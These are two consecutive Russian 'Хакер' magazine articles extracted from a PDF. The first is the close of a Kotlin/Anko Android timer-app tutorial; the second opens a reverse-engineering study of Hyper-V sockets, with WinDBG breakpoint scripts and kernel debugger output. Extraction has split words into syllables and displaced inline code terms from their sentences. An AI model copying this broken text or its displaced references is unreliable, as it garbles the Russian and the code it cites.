       mainUI.mDrawer.setDrawerListener(toggle)
       toggle.syncState()
       // Вешаем на элементы меню колбэки
       mainUI.menuItems.forEachIndexed { i, tv ‐>
           tv.onClick {
               mainUI.mDrawer.closeDrawers()
               loadFragment(mainUI.menuValues[i])
           }
       }
       // Загружаем дефолтный фрагмент
       loadFragment(mainUI.menuValues[0])
   }
   // Функция загрузки фрагмента
   fun loadFragment(seconds: Int) {
       val fragment = TimerFragment()
       val args = Bundle()
       args.putInt("seconds", seconds)
       fragment.arguments = args
       val ft = fragmentManager.beginTransaction()
       ft.replace(mainUI.mContainerId, fragment, "fragment")
       ft.commit()
   }
}

Здесь  все  нам ного  про ще. Дос таточ но  стан дар тный  код,  который мало  чем
отли чает ся от написан ного с исполь зовани ем клас сичес кого под хода, ког да
интерфейс задан в фай лах XML.

Но есть одно очень важ ное отли чие. Обра ти вни мание, что мы не исполь‐ 
зовали  ни  одно го    для  поис ка  эле мен тов  (View)  на  экра не.
Нам это прос то не тре бует ся, мы можем получить дос туп ко всем нуж ным View
нап рямую, через объ ект mainUI.

findViewById()

Де ло оста лось за малым — соз дать фраг мент,  который будет содер жать
основной интерфейс при ложе ния, а имен но кру говой прог ресс‐бар и кноп ку
запус ка  тай мера. Но  сна чала  нам  при дет ся  нем ного  рас ширить  биб лиоте ку
Anko.

Фун кции — рас ширения Anko
Как ты мог заметить, интерфейс с помощью Anko фор миру ется через вызов
фун кций, име на которых сов пада ют с име нами клас сов, нас леду емых от View
(frameLayout — это FrameLayout, toolbar — Toolbar и так далее). В Anko такие
фун кции  есть  прак тичес ки  для  каж дого  встро енно го  в  Android  эле мен та
интерфей са,  поэто му  мы  можем  соз давать  пол ноцен ные  при ложе ния,  ни  в
чем  не  усту пающие  ана логам,  написан ным  с  исполь зовани ем  XML.  Но  есть
одна проб лема: как быть со сто рон ними View?

На пом ню,  для  соз дания  основно го  интерфей са  при ложе ния  мы  решили
исполь зовать два сто рон них эле мен та интерфей са: CircleProgressView и Fan‐
cyButton. Но их под дер жки нет в Anko, а сле дова тель но, мы не можем прос то
взять и написать

fancyButton {
   ...
}

Но мы можем добавить под дер жку новых View в Anko самос тоятель но. Прос то
соз дай файл   и добавь в него нес коль ко строк (раз мещать их
внут ри клас са необя затель но):

Extensions.kt

inline fun ViewManager.fancyButton(init: FancyButton.() ‐> Unit): 
FancyButton {
   return ankoView({ FancyButton(it) }, 0, init)
}
inline fun ViewManager.circleProgressView(init: CircleProgressView.()
‐> Unit): CircleProgressView {
   return ankoView({ CircleProgressView(it, null) }, 0, init)
}

С это го момен та fancyButton и circleProgressView есть в биб лиоте ке Anko.

Фраг мент с основным интерфей сом при ложе ния
На конец, пос ледний ком понент нашего при ложе ния — фраг мент с тай мером
(TimerFragment):

class TimerFragment : Fragment() {
   lateinit var circleView: CircleProgressView
   var seconds = 0
   override fun onCreateView(inflater: LayoutInflater?, container: 
ViewGroup?, savedInstanceState: Bundle?): View? {
       seconds = arguments.getInt("seconds")
       return UI {
           verticalLayout {
               gravity = Gravity.CENTER
               bottomPadding = dip(16)
               circleView = circleProgressView {
                   rimColor = resources.getColor(R.color.colorAccent
)
                   setBarColor(resources.getColor(R.color.colorP
rimary))
                   setTextColor(Color.WHITE)
                   setUnitColor(Color.WHITE)
                   barWidth = dip(20)
                   rimWidth = dip(20)
                   textSize = sp(50)
                   unitScale = 10f
                   innerContourSize = 0f
                   outerContourSize = 0f
                   isUnitVisible = true
                   unit = "%"
                   setUnitPosition(UnitPosition.RIGHT_TOP)
                   unitSize = dip(12)
                   maxValue = seconds * 1f
               }.lparams {
                   width = dip(300)
                   height = dip(300)
                   bottomMargin = dip(32)
               }
               fancyButton {
                   setPadding(dip(8), dip(8), dip(8), dip(8))
                   setRadius(dip(30))
                   setBorderWidth(0)
                   backgroundColor = resources.getColor(R.color.
colorPrimary)
                   setText("START TIMER")
                   setTextSize(20)
                   onClick { startTimer() }
               }
           }
       }.view
   }
   suspend fun startTimer() {
       for (i in 0..seconds) {
           circleView.setValueAnimated(i * 1f)
           delay(seconds * 100L)
       }
       toast("Time up!")
   }
}

Фун кция  onCreateView  воз вра щает  View  с  нашим  интерфей сом,  который
содер жит  кру говой прог ресс‐бар и  кноп ку. При нажатии  кноп ки запус кает ся
при оста нав лива ющаяся фун кция (suspending function), которая сдви гает пол‐ 
зунок  прог ресс‐бара,  затем  засыпа ет  на  секун ду,  затем  сно ва  сдви гает —
и так, пока не закон чится задан ное вре мя.

«Что  это  за  suspending  function?»  —  спро сишь  ты.  А  вот  это  едва  ли
не самая инте рес ная часть нашего при ложе ния.

Соп рограм мы (coroutines)
Suspending  function — часть новой и очень мощ ной фичи Kotlin 1.1 под наз‐ 
вани ем  coroutines  (соп рограм мы).  Как  и  сле дует  из  наз вания,  suspending
function  —  это  фун кция,  которая  уме ет  при оста нав ливать  свое  исполне ние
так, что поток, в котором она исполня ется, не бло киру ется и может выпол нять
дру гой код.

Наш  код  хорошо  иллюс три рует  пре иму щес тво  таких  фун кций.  Заметь,
  фак тичес ки  работа ет  в  основном  UI‐потоке  при ложе ния,  то

есть у нее есть воз можность изме нять View, но при этом она может при оста‐ 
новить  свое  исполне ние  с  помощью  ,  что  никак  не  ска жет ся
на отзывчи вос ти при ложе ния.

startTimer()

delay()

Ес ли бы мы писали  этот  код без  исполь зования  suspending  function,  нам
приш лось  бы  соз дать  новый  поток  и  уже  в  нем  запус кать  цикл,  а  затем
вызывать    в  бло ке  runOnUiThread,  что бы
иметь  воз можность  модифи циро вать  View,  а  затем  усып лять  весь  поток
с помощью  .

circleView.setValueAnimated()

Thread.sleep()
С помощью suspending  function мы получи ли ана логич ный резуль тат, сох‐ 

ранив  код  чис тым  и  прос тым.  Одна ко  воз можность  оста новить  поток  лишь
малень кая  вишен ка  на  боль шом  тор те  под  наз вани ем  соп рограм мы.
На самом деле их мож но исполь зовать для гораз до более важ ных задач, нап‐ 
ример для реали зации пат терна async/await,  ког да  ты вызыва ешь нес коль ко
асин хрон ных  фун кций  и  дожида ешь ся  резуль тата  их  работы.  Абс трак тный
при мер:

val r1 = bg { fetchResult1() }
val r2 = bg { fetchResult2() }
updateUI(r1.await(), r2.await())

С их же помощью мож но реали зовать идею лег ких потоков с обме ном сооб‐ 
щени ями на манер язы ка Go и мно го дру гих инте рес ных асин хрон ных вещей
(мас са при меров есть в  ). Уже сей час соп рограм‐ 
мам про рочат будущее более лег кой встро енной в язык аль тер нативы RxJava.

офи циаль ном репози тории

Од нако имей в виду: suspending  function нель зя выз вать из обыч ной фун‐ 
кции, толь ко из такой же suspend‐фун кции. В нашем при мере мы лов ко обош‐ 
ли  это  огра ниче ние  бла года ря  тому,  что  под клю чили  к  про екту  биб лиоте ки
соп рограмм Anko. Они содер жат suspend‐вари анты фун кции onClick().

Ес ли  же  нуж но  выз вать  suspend‐фун кцию  из  дру гого  учас тка  кода,  то
в Anko для это го есть дру гое средс тво:

async(UI) {
   val r1 = bg { fetchResult1() }
   val r2 = bg { fetchResult2() }
   updateUI(r1.await(), r2.await())
}

Пос ледние штри хи и сбор ка
Фак тичес ки наше при ложе ние уже готово. Оста лось толь ко добавить MainAc‐
tivity в манифест, и мож но прис тупать к сбор ке:

<activity
   android:name=".MainActivity"
   android:label="@string/app_name"
   android:theme="@style/Theme.AppCompat.NoActionBar">
   <intent‐filter>
       <action android:name="android.intent.action.MAIN"/>
       <category android:name="android.intent.category.LAUNCHER"/>
   </intent‐filter>
</activity>

На ше при ложе ние

ВМЕСТО ВЫВОДОВ
По нача лу  код,  написан ный  с  исполь зовани ем  Anko,  может  показать ся  нес‐ 
коль ко  стран ным  и  непонят ным.  У  меня  не  было  воз можнос ти  объ яснить
абсо лют но  все  нюан сы,  не  прев ращая  статью  в  мно госе рий ную  эпо пею.
Поэто му  при дет ся  нем ного  покопать  самос тоятель но.  Да,  пока  Anko  очень
пло хо докумен тирова на, а ста тей о ней прак тичес ки нет, но на том же Stack
Overflow  уже  дос таточ но  мно го  воп росов,  свя зан ных  с  Kotlin  и  Anko,  а  код
самой  биб лиоте ки  открыт.  Поэто му,  если  XML  задол бал  тебя  так  же,  как  и
меня, у тебя будет воз можность изба вить ся от него. Раз и нав сегда.

mailto:zobnin@glc.ru
https://xakep.ru/2016/08/10/kotlin/
https://xakep.ru/2017/06/29/kotlin-all-the-way/
https://android.jlelse.eu/400-faster-layouts-with-anko-da17f32c45dd
https://github.com/Kotlin/kotlin-coroutines
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КОДИНГ

Ха кер — это в пер вую оче редь прог раммист‐иссле дова тель,
человек,  который  глу боко  инте ресу ется  информа цион ными
тех нологи ями,  ста рает ся  про ник нуть  в  суть  вещей,  най ти
самые  неоче вид ные  и  недоку мен тирован ные  воз можнос ти.
Нам,  коман де  «Хакера»,  не  дают  покоя  лав ры  Мар ка  Рус‐ 
синови ча  (мы  про  кни гу  «Внут реннее  устрой ство  Microsoft
Windows»  :)),  поэто му  пос вятим  эту  огромную  статью  ори‐ 
гиналь ному  иссле дова нию  внут ренних  механиз мов  сокетов
Hyper‐V.

Тех нология  вир туали зации  Hyper‐V,  пред став ленная  ком пани ей  Microsoft
доволь но дав но, получа ет немало допол нений и улуч шений с каж дым новым
выпус ком  сер верной  вер сии  Windows.  Так,  в  Windows  Server  2016  был
интегри рован новый про токол ком муника ций под наз вани ем сокеты Hyper‐V,
который  поз воля ет  под клю чать ся  к  вир туаль ным  машинам  из  родитель ской
опе раци онной сис темы, исполь зуя в качес тве тран спор та не при выч ный стек
TCP/IP,  а  шину  VMBus.  Пер вое  ее  при мене ние  было  реали зова но  в  тех‐ 
нологии  PowerShell  Direct.  Помимо  это го, Microsoft  пре дос тавила  раз работ‐ 
чикам воз можность исполь зовать в сво их про дук тах сокеты Hyper‐V, выпус тив
новую вер сию SDK для Visual Studio. Про читав эту статью, ты узна ешь осо бен‐ 
ности  работы  сокетов  Hyper‐V,  пой мешь,  каким  обра зом  они  исполь зуют ся
в тех нологии PowerShell Direct и как реали зова но их вза имо дей ствие с ядром
Windows.

Тер мины и опре деле ния
Root‐раз дел  (родитель ский  раз дел,  root  ОС)  —  Windows  Server
2016 с уста нов ленным ком понен том Hyper‐V.

•

Гос тевая  ОС  (дочер ний  раз дел,  гос тевая  ОС,  guest  ОС) —  вир туаль ная
машина c Windows Server 2016 Gen 2.

•

Hyper‐V TLFS – Hyper‐V Top Level Functional Specification.•

ВВЕДЕНИЕ
2006 год. Кон ферен ция WinHEC. Microsoft активно прод вига ет свой вари ант
гипер визора (еще даже без наз вания, его обоз начали прос то как Windows hy‐
pervisor) и намека ет на то, что раз работ чики смо гут соз давать свои решения
на базе новой тех нологии вир туали зации.

WWW

Пре дыду щее иссле дова ние Hyper‐V под наз вани‐ 
ем 

 (в двух час тях) читай тут:
Ис сле дуем  внут ренние  механиз мы

работы Hyper‐V
;•пер вая
.•вто рая

Дей стви тель но,  в  этом  нап равле нии  были  сде ланы  опре делен ные шаги,  и  у
раз работ чиков появи лись:

за голо воч ные фай лы  ,  ,   (Windows WDK 6.0, 7.1,
Singularity ОС);

• hvgdk.h vid.h VidDefs.h

Hyper‐V Top Level Functional Specification (TLFS);•
до кумен тация на MSDN, которая в основном сов падала с TLFS, но содер‐ 
жала более деталь ную информа цию.

•

На  osronline.com  архи тек тор  Hyper‐V  Джейк  Ошинс  (Jake  Oshins)  отве чал
на воп росы раз работ чиков драй веров, каса ющиеся сре ды Hyper‐V.

Все  же  опуб ликован ной  информа ции  было  явно  недос таточ но  для  того,
что бы  кто‐то  начал  раз рабаты вать  новые  про дук ты  на  базе  Hyper‐V  (вспо‐ 
мина ется  толь ко  LiveCloudKd  от  moonsols,  да  и  то,  похоже,  боль шую  часть
информа ции  раз работ чики  прос то  отре вер сили).  Воз можно,  в  свя зи  с  этим
полити ка Microsoft рез ко изме нилась:

за голо воч ные фай лы были убра ны из WDK;•
ис чезла  докумен тация  из  MSDN,  свя зан ная  с  Hyper‐V  (на  osronline.com
для фор маль нос ти  , нуж на докумен тация или нет);

•
про вели опрос

из WinDBG исчезли рас ширения, свя зан ные с Hyper‐V (network virtualization
kernel debugger extension nvkd.dll),  , на который ссы лал ся Win‐
DBG  при  под клю чении  к    ( ),  так  и  не  был
выложен в общий дос туп;

•
hvexts.dll

hvix64.exe hvax64.exe

ар хитек тор Hyper‐V Джейк Ошинс исчез с форума osronline.com.•

Тем не менее Microsoft самос тоятель но ста ла раз рабаты вать Linux Integration
Services — набор поз воля ющих запус кать Linux внут ри Hyper‐V ком понен тов
и  драй веров,  исходные  коды  которых  интегри рова ны  в  ядро  Linux
(2.6.32 и выше) и, соот ветс твен но, выложе ны в откры тый дос туп.

TLFS  оста вал ся  единс твен ным  источни ком  информа ции  о  внут реннем
устрой стве гипер визора, одна ко выпущен ная в фев рале 2017 года спе цифи‐ 
кация для Windows Server 2016 содер жит уже 238 стра ниц, а не 420, как это
было  в  пре дыду щей  спе цифи кации  для Windows  Server  2012 R2  (из  23  раз‐ 
делов  оста лось  16,  исчезли  опи сания  мно гих  гипер вызовов,  одна ко  появи‐ 
лись два раз дела, опи сыва ющих работу VSM (Virtual Secure Mode) и вло жен‐ 
ной вир туали зации).

Но  в  2016  году  заголо воч ный  файл    (core  definitions  for
the Winsock 2 specification) в Windows SDK 10.0.10586 допол нили строч кой

ws2def.h

#define AF_HYPERV       34

а  в  Windows  SDK  10.0.14393  появил ся  файл  HvSocket.h.  В  каких  же  целях
это было сде лано?

В  Windows  Server  2016  добави ли  новую  фун кцию  —  PowerShell  Direct,
которая поз воля ет  выпол нять PowerShell‐коман ды в  гос тевой опе раци онной
сис теме  без  сетево го  соеди нения,  переда вая  все  необ ходимые  дан ные
через  шину  VMBus.  Этот  механизм  работа ет,  исполь зуя  так  называ емые
сокеты Hyper‐V, которые были интегри рова ны в сетевой стек Windows.

Статья,  которую  ты  чита ешь,  ста ла  резуль татом  попыт ки  понять,
как работа ет механизм сетево го вза имо дей ствия в Windows, каким обра зом
в него встро или под дер жку сокетов Hyper‐V и что имен но выпол няет опе раци‐ 
онная сис тема при работе нового про токо ла.

Рас смот рим,  каким  обра зом  под систе ма  вир туали зации  была  интегри‐ 
рова на  с  сетевым  сте ком  Windows,  затем  раз берем  работу  при ложе ния,
исполь зующе го сокеты Hyper‐V, и узна ем, как устро ена тех нология PowerShell
Direct. Windows 10 тоже под держи вает такие сокеты, но далее она прак тичес‐ 
ки  не  рас смат рива ется  —  акцент  сде лан  имен но  на  сер верную  ОС,  хотя
пред положи тель но сущес твен ной раз ницы в реали зации быть не дол жно.

Пе ред  проч тени ем  статьи  рекомен дуем  озна комить ся  с  раз делом  7
«Сеть»  кни ги  «Внут реннее  устрой ство  Microsoft  Windows»,  6‐е  изда ние,
часть 1  (в 5‐м изда нии кни ги этот раз дел еще не был опуб ликован), а  так же
со  стать ей  «Сетевой  прог рам мный  интерфейс  Windows  Vista/2008:  внут‐ 
реннее  устрой ство,  исполь зование  и  взлом»,  ранее  дос тупной  на  wasm.ru.
Теперь  же  ее  мож но  най ти  на  раз личных  сай тах  (нап ример,  ).  MSDN
доволь но  под робно  осве щает  зат ронутые  в  статье  темы,  но  без  при вяз ки
к сокетам Hyper‐V.

тут

КОМПОНЕНТЫ ОПЕРАЦИОННОЙ СИСТЕМЫ
Спер ва  пос мотрим  спи сок  про вай деров  (Layered  Service  Provider  —  LSP),
уста нов ленных в опе раци онной сис теме. Видим две записи, в име ни которых
содер жится Hyper‐V.

PS C:\Windows\system32> netsh winsock show catalog
Winsock Catalog Provider Entry
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Entry Type:                         Base Service Provider
Description:                        Hyper‐V RAW
Provider ID:                        {1234191B‐4BF7‐4CA7‐86E0‐DFD7C3
2B5445}
Provider Path:                      %SystemRoot%\system32\mswsock.dll
Catalog Entry ID:                   1001
Version:                           2
Address Family:                     34
Max Address Length:                 36
Min Address Length:                 36
Socket Type:                        1
Protocol:                           1
Service Flags:                      0x20026
Protocol Chain Length:              1

Ес ли рас шифро вать Service Flags в соот ветс твии с опи сани ем струк туры 
 из MSDN,  то получим 

.

WS‐
APROTOCOL_INFO 0x20026 = XP1_GUARANTEED_DELIV‐
ERY  |  XP1_GUARANTEED_ORDER  |  XP1_GRACEFUL_CLOSE  |
XP1_IFS_HANDLES

В  реес тре,  соот ветс твен но,  для  каж дого  про вай дера  (32‐бит ного  и  64‐
бит ного) соз дано по одно му раз делу:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parame
ters\Protocol_Catalog9\Catalog_Entries\000000000001 и HKEY_LOCAL_MACH
INE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protoc
ol_Catalog9\Catalog_Entries64\000000000001

В  раз деле 
 был добав лен тран спорт VMBus (irda и RFCOMM в Win‐

dows  Server  2016  в  инстал ляции  по  умол чанию  отсутс тву ют  и  есть  толь ко
в Windows 10).

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
Winsock\Parameters

Ключ 
  содер жит  под раздел  Winsock  с  парамет ром  HelperDllName,

в котором ука зано имя биб лиоте ки  , под гру жаемой основным
про вай дером   на эта пе соз дания сокета.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmbus\
Parameters

wshhyperv.dll
mswsock.dll

В 6‐м изда нии кни ги Windows Internals написа но, что «тран спортный про токол
RAW не явля ется нас тоящим про токо лом и не осу щест вля ет никакой инкапсу‐ 
ляции  поль зователь ских  дан ных.  Это  поз воля ет  кли енту  непос редс твен но
кон тро лиро вать  содер жимое  фрей мов,  отправ ляемых  и  получа емых
по  сетево му  интерфей су».  В  нашем  слу чае  исполь зует ся  про токол  Hyper‐V
RAW.  Одна ко,  нес мотря  на  то  что  в  наз вании  про токо ла  содер жится  RAW,
при вызове фун кции socket в качес тве вто рого ее парамет ра (тип сокета) ука‐ 
зыва ется  SOCK_STREAM  (stream  socket),  хотя  в    при сутс тву ет
отдель ный тип сокета — SOCK_RAW.

WinSock2.h

По явил ся  новый  NPI‐про вай дер  —  .  Он  при сутс тву ет
в  импорте  драй веров  ,    и    и  заг ружа ется
вмес те с пер вым из ука зан ных модулей. Регис три рует ся как про вай дер драй‐ 
вером  vmbusr.sys при вызове импорти рован ной фун кции 

,  которая,  в  свою оче редь,  вызыва ет 
.  Под робно  работа  с  про вай дерами  была  опи сана  в  упо мяну той

выше статье с WASM.

hvsocket.sys
vmbus.sys vmbusr.sys netio.sys

hvsocket!HvSock‐
etProviderStart netio!NmrRegister‐
Provider

С помощью WinDBG мож но получить спи сок всех регис три руемых про вай‐ 
деров и их  кли ентов. Для про вай деров дос таточ но написать  скрипт  (ста вим
bp на   и записы ваем парамет ры в лог):netio!NmrRegisterProvider

__Windbg> bu netio!NmrRegisterProvider__
__Windbg>.logopen D:\ida_files\2016\log.txt__
__Windbg>bp netio!NmrRegisterProvider ".echo \**********bp 
netio!NmrRegisterProvider\********; .echo kc;kc; .echo dps rcx;dps 
rcx; .echo NpiId GUID; dt _GUID poi(rcx+28h); .echo NPI_MO
DULEID_TYPE GUID; dt _GUID poi(rcx+30h)+8; g"__
NTSTATUS NmrRegisterProvider(
_In_  PNPI_PROVIDER_CHARACTERISTICS ProviderCharacteristics,
_In_  PVOID                         ProviderContext,
_Out_ PHANDLE                       NmrProviderHandle
);

typedef struct _NPI_REGISTRATION_INSTANCE {
 USHORT        Version;
 USHORT        Size;
 PNPIID        NpiId;
 PNPI_MODULEID ModuleId;
 ULONG         Number;
 const VOID    *NpiSpecificCharacteristics;

} NPI_REGISTRATION_INSTANCE, *PNPI_REGISTRATION_INSTANCE;
typedef struct _NPI_MODULEID {
 USHORT            Length;
 NPI_MODULEID_TYPE Type;
 union {
   GUID Guid;
   LUID IfLuid;
 };

} NPI_MODULEID, *PNPI_MODULEID;

Ре гис тра ция   как про вай дера будет выг лядеть так:hvsocket.sys

__kc__
# Call Site

00 NETIO!NmrRegisterProvider
01 hvsocket!HvSocketProviderStart
02 vmbusr!RootDeviceAdd
03 Wdf01000!FxDriverDeviceAdd::Invoke
04 Wdf01000!FxDriver::AddDevice
05 nt!PpvUtilCallAddDevice
06 nt!PnpCallAddDevice
07 nt!PipCallDriverAddDevice
08 nt!PipProcessDevNodeTree
09 nt!PiProcessStartSystemDevices
0a nt!PnpDeviceActionWorker
0b nt!ExpWorkerThread
0c nt!PspSystemThreadStartup
0d nt!KiStartSystemThread
__dps rcx__
fffff806`0dece010  00000000`00480000
fffff806`0dece018  fffff806`0ded1640 hvsocket!HvSocketNotifyA
ttachClient ‐ ProviderAttachClient
fffff806`0dece020  fffff806`0ded18c0 hvsocket!HvSocketNotifyD
etachClient ‐ ProviderDetachClient
fffff806`0dece028  fffff806`0ded19a0 hvsocket!HvSocketNotifyC
leanupClientContext ‐ ProviderCleanUpBindingContext
fffff806`0dece030  00000000`00280000 ‐ Begin of NPI_REGISTRATIO
N_INSTANCE (Version+Size)
fffff806`0dece038  fffff806`0decc3e0 hvsocket!NPI_TRANSPORT_LAYER_ID 
‐ pointer to NpiId (GUID NPIID) ‐ dt _GUID poi(rcx+28h)
fffff806`0dece040  fffff806`0decc3f0 hvsocket!NPI_MS_VMBUS_MODULEID ‐
pointer to ModuleId ‐ dt _GUID poi(rcx+30h)+8

fffff806`0dece048  00000000`00000000 ‐ Number
fffff806`0dece050  fffff806`0decc2e0 hvsocket!VmbusTlProvider
Characteristics ‐ NpiSpecificCharacteristics
fffff806`0dece058  00000000`00000000
fffff806`0dece060  00000500`00000000
fffff806`0dece068  0000ef8b`4509d61c
fffff806`0dece070  00000000`00000000
fffff806`0dece078  00000000`00000000
fffff806`0dece080  00000000`00000000
fffff806`0dece088  fffff803`6c322884 nt!EtwRegisterClassicProvider
__NpiId GUID__
ntdll!_GUID
{2227e804‐8d8b‐11d4‐abad‐009027719e09}
  +0x000 Data1            : 0x2227e804
  +0x004 Data2            : 0x8d8b
  +0x006 Data3            : 0x11d4
  +0x008 Data4            : [8]  "???"
NPI_MODULEID_TYPE GUID
ntdll!_GUID
{eb004a27‐9b1a‐11d4‐9123‐0050047759bc}
  +0x000 Data1            : 0xeb004a27
  +0x004 Data2            : 0x9b1a
  +0x006 Data3            : 0x11d4
  +0x008 Data4            : [8]  "???"

Ана логич но выпол няет ся логиро вание регис тра ции NPI‐кли ентов. Единс твен‐ 
ное отли чие — bp нуж но ста вить на  . Инте рес но,
что регис тра ция   как кли ента ниг де не замече на. Единс твен ные
регис три руемые ком понен ты вир туали зации — это NDIS!NPI_NDIS_VBUS_IN‐
TERFACE_ID  (регис тра ция  идет  из  NDIS!DriverEntry)  и  vmswitch!NPI_PKT‐
CAP_INTERFACE_ID (регис тра ция из vmswitch!DriverEntry).

netio!NmrRegisterClient
hvsocket.sys

Пол ный спи сок про вай деров и кли ентов, регис три руемых Windows Server
2016, раз мещен на GitHub.   пре дос тавлен в сле дующем
фор мате.

Спи сок про вай деров

В    есть  фун кция    (client  module’s
ClientAttachProvider callback function), которая работа ет со струк турой 

.  Неболь шой  скрипт  для  pykd,  который  выводит  часть
эле мен тов address family и фун кцию обра бот ки каж дого эле мен та:

afd.sys afd!AfdTlNotifyAttachProvider
AfdTl‐

TransportListHead

__2: kd> !py D:\afd_parse_AfdTlTransportListHead.py__
cs:AfdTlTransportListHead address is  0xffffb089b4579040L
‐‐‐‐Address family 0x0 [ AF_UNSPEC ]
‐‐Dispatch function tcpip!TcpTlProviderDispatch
‐‐‐‐Address family 0x0 [ AF_UNSPEC ]
‐‐Dispatch function tcpip!UdpTlProviderDispatch
‐‐‐‐Address family 0x0 [ AF_UNSPEC ]
‐‐Dispatch function tcpip!RawTlProviderDispatch
‐‐‐‐Address family 0x22 [ AF_HYPERV ]
‐‐Dispatch function hvsocket!VmbusTlProviderDispatch

В прин ципе, ана логич ную информа цию дол жна выводить коман да afd пла гина
mex для WinDBG, но на моем стен де она по какой‐то при чине не сра бота ла
(воз можно, необ ходимы private symbols).

При стар те   видим запуск  ,
пос ле которой вызыва ется  :

vmbusr.sys hvsocket!HvSocketProviderStart
afd!AfdTlNotifyAttachProvider

__0>kc__
# Call Site
00 NETIO!NmrClientAttachProvider
01 afd!AfdTlNotifyAttachProvider
02 NETIO!NmrpProposeAttachment
03 NETIO!NmrpAttachArray
04 NETIO!NmrpRegisterModule
05 NETIO!NmrRegisterProvider
06 hvsocket!HvSocketProviderStart
07 vmbusr!RootDeviceAdd

В   про исхо дит вызов сле дующих фун кций:hvsocket!HvSocketProviderStart
netio!NetioInitializeWorkQueue;•
netio!NmrRegisterProvider;•
hvsocket.sys — NPI‐про вай дер.•

В netio!NmrpVerifyModule к упо мяну тым в статье с WASM про вер кам добавил‐ 
ся драй вер  .hvsocket.sys

RtlInitString(&DestinationString, "\\systemroot\\system32\\drivers\\
afd.sys");
RtlInitString(&v26, "\\systemroot\\system32\\drivers\\tdx.sys");
RtlInitString(&v24, "\\systemroot\\system32\\drivers\\tcpip.sys");
RtlInitString(&v27, "\\systemroot\\system32\\drivers\\hvsocket.sys");

С помощью скрип та afd_parse_AfdEndpointListHead_pykd.py в сис теме мож но
прос мотреть  спи сок  объ ектов,  соз дава емых  при  откры тии  каж дого  сокета.
Если сокет  зак рыва ется,  то объ ект исче зает из спис ка. Скрипт,  в прин ципе,
отоб ража ет то же самое, что и ути лита tcpconnect из Sysinternals Suite (но она,
к  сожале нию,  не  показы вает  откры тые  Hyper‐V  сокеты)  или 

, с допол нитель ным выводом драй вера и про‐ 
цеду ры,  обра баты вающей  опе рации  с  сокетом,  а  так же  име ни  про цес са
и PID.

WinDBG‐скрипт
для отоб ражения AFD endpoints

Нап ример,  содер жимое  спис ков  в  гос тевой  и  root  ОС  пос ле  успешно го
выпол нения коман дле та Enter‐PSSession:

__kd> !py C:\Tools\Scripts\afd_parse_AfdEndpointListHead_pykd.py — в 
гостевой ОС__
afd!AfdEndpointListHead address is  0xfffff80490ef74e0L
‐‐‐‐AfdEndpoint 0xfffff80490ef74e0L 0xda10
‐‐‐‐AfdEndpoint 0xffffd00d64e7c130L 0xafd2 tcpip!TcpTlProviderEn
dpointDispatch explorer.exe 0x3c0
‐‐‐‐AfdEndpoint 0xffffd00d6421af60L 0xafd2 hvsocket!VmbusTlProvider
EndpointDispatch powershell.exe 0x920
‐‐‐‐AfdEndpoint 0xffffd00d64846ea0L 0xafd4 hvsocket!VmbusTlProvider
ListenDispatch powershell.exe 0x920
‐‐‐‐AfdEndpoint 0xffffd00d64d082a0L 0xafd1 tcpip!UdpTlProviderEn
dpointDispatch lsass.exe 0x204
‐‐‐‐AfdEndpoint 0xffffd00d642b8960L 0xafd1 tcpip!UdpTlProviderEn
dpointDispatch lsass.exe 0x204
‐‐‐‐AfdEndpoint 0xffffd00d640c8ba0L 0xafd4 hvsocket!VmbusTlProvider
ListenDispatch svchost.exe 0x35c (в состав процесса входит служба 
vmicsession)
‐‐‐‐AfdEndpoint 0xffffd00d650c3c30L 0xaafd 0 explorer.exe 0x3c0
‐‐‐‐AfdEndpoint 0xffffd00d64340f60L 0xaafd 0 explorer.exe 0x3c0
__kd> !py D:\ida_files\afd_parse_AfdEndpointListHead_pykd.py — в 
родительской ОС__
afd!AfdEndpointListHead address is  0xfffff807668b74e0L
‐‐‐‐AfdEndpoint 0xfffff807668b74e0L 0xe4a0
‐‐‐‐AfdEndpoint 0xffff958f202eb300L 0xafd2 hvsocket!VmbusTlProvider
EndpointDispatch powershell.exe 0xcc4L
‐‐‐‐AfdEndpoint 0xffff958f21d7eac0L 0xafd1 tcpip!UdpTlProviderMe
ssageDispatch svchost.exe 0x438L
‐‐‐‐AfdEndpoint 0xffff958f207dd9e0L 0xafd2 hvsocket!VmbusTlProvider
EndpointDispatch powershell_ise 0x394L
‐‐‐‐AfdEndpoint 0xffff958f1fbc5f60L 0xafd1 tcpip!UdpTlProviderMe
ssageDispatch svchost.exe 0x498L

Продолжение статьи →
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Что инте рес но, мы можем уви деть еще один сокет, соз дава емый про цес сом
svchost.exe на ран них эта пах заг рузки опе раци онной сис темы:

__kd> !py D:\ida_files\ParseAfdEndpointListHead.py__
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
‐‐‐‐AfdEndpoint 0xffffd1851637e130L 0xafd0 tcpip!TcpTlProviderEn
dpointDispatch svchost.exe 0x410L
‐‐‐‐AfdEndpoint 0xffffd1851627ed60L 0xafd0 hvsocket!VmbusTlProvider
EndpointDispatch svchost.exe 0x384L
‐‐‐‐AfdEndpoint 0xffffd185161d7330L 0xafd0 tcpip!TcpTlProviderEn
dpointDispatch wininit.exe 0x2a4L

Этот сокет соз дает ся сер висом RPC, а имен но фун кци ей 
. Стек:

RPCRT4!Transport‐
Protocol::HandlePnPStateChange

__kd> k — bp on wshhyperv.dll load__
13 mswsock!SockGetTdiName+0x2b1
14 mswsock!SockSocket+0x117
15 mswsock!WSPSocket+0x220
16 WS2_32!WSASocketW+0x1f0
17 RPCRT4!TransportProtocol::OpenAddressChangeRequestSocket+0x43
18 RPCRT4!TransportProtocol::VerifyProtocolIsFunctional+0x14
19 RPCRT4!TransportProtocol::HandleProtocolChange+0x100
1a RPCRT4!TransportProtocol::HandlePnPStateChange+0x72
1b RPCRT4!ProcessNewAddressEvent+0x21
